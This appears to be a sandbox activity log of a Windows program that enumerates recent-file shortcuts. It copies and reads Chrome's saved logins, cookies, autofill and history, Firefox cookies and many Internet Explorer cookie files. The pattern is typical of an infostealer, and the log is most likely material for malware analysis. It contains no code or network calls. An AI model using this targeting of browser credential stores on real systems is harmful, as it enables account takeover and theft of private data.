Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\953NwS YORsJs8ezCX.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\9oBPh66lU7Zt.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\a09hCY1lv p_IZ98.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\a51sNIVKR E3Ge8fV.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\A8IAMc.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\aOnv.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\AVJ6FiEz4zaaIViNRlw.flv.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\AY5wVsgvxZG.mkv.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\bbdArE-i.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\bbdArE-i.docx type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\BfZiGgPvckLte.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\bPu-.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\BTq8-J4.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\BuZP.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\C04Fzue-Z7KVyl_.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\c9bdd6Fy9R2i0LIdNVF1.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\CabPSqWIP4Gw.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\ch1D7KyT.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\Ck3vXIHItmOFDrYXb.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\ckvWAPm3 YLx5ut.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\cLDO9CeqDqvyGp18uI9o.flv.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\cLDO9CeqDqvyGp18uI9o.flv type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\cplLZefa0txn.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\CWuI5tTSoD.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\Cy1YKeDsElTUF.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\c_0f9-L4gyuk6.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\dCkeRMnueuS.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\DRyCH41NNCvFGT-d.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\EFxNu5CIh50zqG.ots.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\Ep5U.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\evs-mu2XZmDDq_3I.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\E_wjAqxP.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\F6Te.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\flxbNwcWgV0n4kR.flv.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\Fxlxn.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Fxlxn.gif type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\FZYI0v6_buDm-d9O.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\g5F7NFHxCw.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\G75P.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\gIN4UnQrPywWhHMpL31.ots.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\gIN4UnQrPywWhHMpL31.ots type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\gLb9EGvUD.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\gsjZHHkpLbVJkW1Clgz.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\gx-9m.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\h72CJ5GET.ots.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\hGyi-Cb.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\hHu6n-WhXpQLeR.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\Hr58A4aaHM.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Hr58A4aaHM.ods type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\hVotFJWhFGBD 2Z.mkv.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\hVotFJWhFGBD 2Z.mkv type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\I1WhKlENAwKn.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\IBNXL3TRBVFr5.mkv.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\IBNXL3TRBVFr5.mkv type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\IlZLf8gCsW02mWS.lnk type = size, size_out = 0 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\I_dy9.lnk type = size, size_out = 0 True 1
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Copy C:\Users\5P5NRG~1\AppData\Local\Temp\1313841942994437431934.tmp source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Google\Chrome\User Data\Default\Login Data True 1
Fn
Copy C:\Users\5P5NRG~1\AppData\Local\Temp\1332873218179136143664.tmp source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Google\Chrome\User Data\Default\Cookies True 1
Fn
Copy C:\Users\5P5NRG~1\AppData\Local\Temp\1333493652728379727.tmp source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Mozilla\Firefox\Profiles\silmbjec.default\cookies.sqlite True 1
Fn
Copy C:\Users\5P5NRG~1\AppData\Local\Temp\1334742496758174814562.tmp source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Google\Chrome\User Data\Default\Web Data True 1
Fn
Copy C:\Users\5P5NRG~1\AppData\Local\Temp\1334747094731615272395.tmp source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Google\Chrome\User Data\Default\Web Data True 1
Fn
Copy C:\Users\5P5NRG~1\AppData\Local\Temp\1335211252491625214528.tmp source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Google\Chrome\User Data\Default\History True 1
Fn
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1313841942994437431934.tmp size = 100, size_out = 100 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1313841942994437431934.tmp size = 2048, size_out = 2048 True 2
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1313841942994437431934.tmp size = 16, size_out = 16 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt size = 83, size_out = 83 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt size = 551, size_out = 551 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt size = 241, size_out = 241 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt size = 111, size_out = 111 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt size = 110, size_out = 110 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt size = 276, size_out = 276 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt size = 86, size_out = 86 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt size = 414, size_out = 414 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt size = 414, size_out = 414 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt size = 102, size_out = 102 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt size = 102, size_out = 102 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt size = 93, size_out = 93 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt size = 234, size_out = 234 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt size = 578, size_out = 578 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt size = 101, size_out = 101 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt size = 82, size_out = 82 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt size = 293, size_out = 293 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt size = 221, size_out = 221 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt size = 513, size_out = 513 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt size = 490, size_out = 490 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt size = 456, size_out = 456 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt size = 130, size_out = 130 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt size = 272, size_out = 272 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[1].txt size = 598, size_out = 598 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[3].txt size = 196, size_out = 196 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[4].txt size = 543, size_out = 543 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt size = 272, size_out = 272 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt size = 118, size_out = 118 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt size = 823, size_out = 823 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt size = 206, size_out = 206 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt size = 108, size_out = 108 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt size = 104, size_out = 104 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt size = 178, size_out = 178 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt size = 215, size_out = 215 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt size = 169, size_out = 169 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt size = 1026, size_out = 1026 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt size = 1026, size_out = 1026 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1332873218179136143664.tmp size = 100, size_out = 100 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1332873218179136143664.tmp size = 1024, size_out = 1024 True 2
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1332873218179136143664.tmp size = 16, size_out = 16 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1333493652728379727.tmp size = 100, size_out = 100 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1333493652728379727.tmp size = 32768, size_out = 32768 True 3
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1334742496758174814562.tmp size = 100, size_out = 100 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1334742496758174814562.tmp size = 2048, size_out = 2048 True 5
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1334742496758174814562.tmp size = 16, size_out = 16 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1334747094731615272395.tmp size = 100, size_out = 100 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1334747094731615272395.tmp size = 2048, size_out = 2048 True 5
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1334747094731615272395.tmp size = 16, size_out = 16 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1335211252491625214528.tmp size = 100, size_out = 100 True 1
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1335211252491625214528.tmp size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Users\5P5NRG~1\AppData\Local\Temp\1335211252491625214528.tmp size = 16, size_out = 16 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\-2-d2UdE5bHRb3Wgt.lnk size = 1045, size_out = 1045 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\-LozpNEJj9YNqUHsd.lnk size = 1045, size_out = 1045 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\-p4ffBCma.lnk size = 2604, size_out = 2604 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\06IT.lnk size = 1223, size_out = 1223 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\0yRPUT6TDREHeWByR4rP.lnk size = 3850, size_out = 3850 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\1dRMBdJ8JilqvY.lnk size = 2659, size_out = 2659 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\1KRW.lnk size = 983, size_out = 983 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\1L3e.lnk size = 5387, size_out = 5387 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\1lVVKbf-aOgvA-CAW_mM.lnk size = 6510, size_out = 6510 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\29qIuqRP.lnk size = 5359, size_out = 5359 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\2nK3ie.lnk size = 988, size_out = 988 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\2qASZGVP1ayqj.lnk size = 5002, size_out = 5002 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\2toarBW5rlEiNoO5.lnk size = 2681, size_out = 2681 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\3Us5nuIYL1u_RnPPuJ.lnk size = 4941, size_out = 4941 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\3ymkgwpUkCk.lnk size = 2433, size_out = 2433 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\4qhj.lnk size = 5209, size_out = 5209 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\5eg1.lnk size = 2545, size_out = 2545 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\5H7Vrui.lnk size = 1000, size_out = 1000 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\5wR63HlMWYvMti0btzx.lnk size = 6699, size_out = 6699 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\5zH-zIr1.lnk size = 569, size_out = 569 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\6 XGwY-lUt_VoBNPc3ul.lnk size = 6766, size_out = 6766 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\7rSet.lnk size = 6584, size_out = 6584 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\953NwS YORsJs8ezCX.lnk size = 5289, size_out = 5289 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\9oBPh66lU7Zt.lnk size = 2637, size_out = 2637 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\a09hCY1lv p_IZ98.lnk size = 5358, size_out = 5358 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\a51sNIVKR E3Ge8fV.lnk size = 5365, size_out = 5365 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\A8IAMc.lnk size = 5248, size_out = 5248 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\aOnv.lnk size = 545, size_out = 545 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\AVJ6FiEz4zaaIViNRlw.flv.lnk size = 6639, size_out = 6639 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\AY5wVsgvxZG.mkv.lnk size = 1262, size_out = 1262 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\bbdArE-i.lnk size = 1005, size_out = 1005 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\BfZiGgPvckLte.lnk size = 6622, size_out = 6622 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\bPu-.lnk size = 3689, size_out = 3689 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\BTq8-J4.lnk size = 5344, size_out = 5344 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\BuZP.lnk size = 2545, size_out = 2545 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\C04Fzue-Z7KVyl_.lnk size = 2454, size_out = 2454 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\c9bdd6Fy9R2i0LIdNVF1.lnk size = 629, size_out = 629 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\CabPSqWIP4Gw.lnk size = 5314, size_out = 5314 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\ch1D7KyT.lnk size = 880, size_out = 880 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\Ck3vXIHItmOFDrYXb.lnk size = 5159, size_out = 5159 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\ckvWAPm3 YLx5ut.lnk size = 2670, size_out = 2670 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\cLDO9CeqDqvyGp18uI9o.flv.lnk size = 1060, size_out = 1060 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\cplLZefa0txn.lnk size = 3747, size_out = 3747 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\CWuI5tTSoD.lnk size = 6593, size_out = 6593 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\Cy1YKeDsElTUF.lnk size = 6588, size_out = 6588 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\c_0f9-L4gyuk6.lnk size = 2648, size_out = 2648 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\dCkeRMnueuS.lnk size = 584, size_out = 584 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\DRyCH41NNCvFGT-d.lnk size = 3918, size_out = 3918 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\EFxNu5CIh50zqG.ots.lnk size = 5165, size_out = 5165 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\Ep5U.lnk size = 4783, size_out = 4783 True 1
Fn
Data
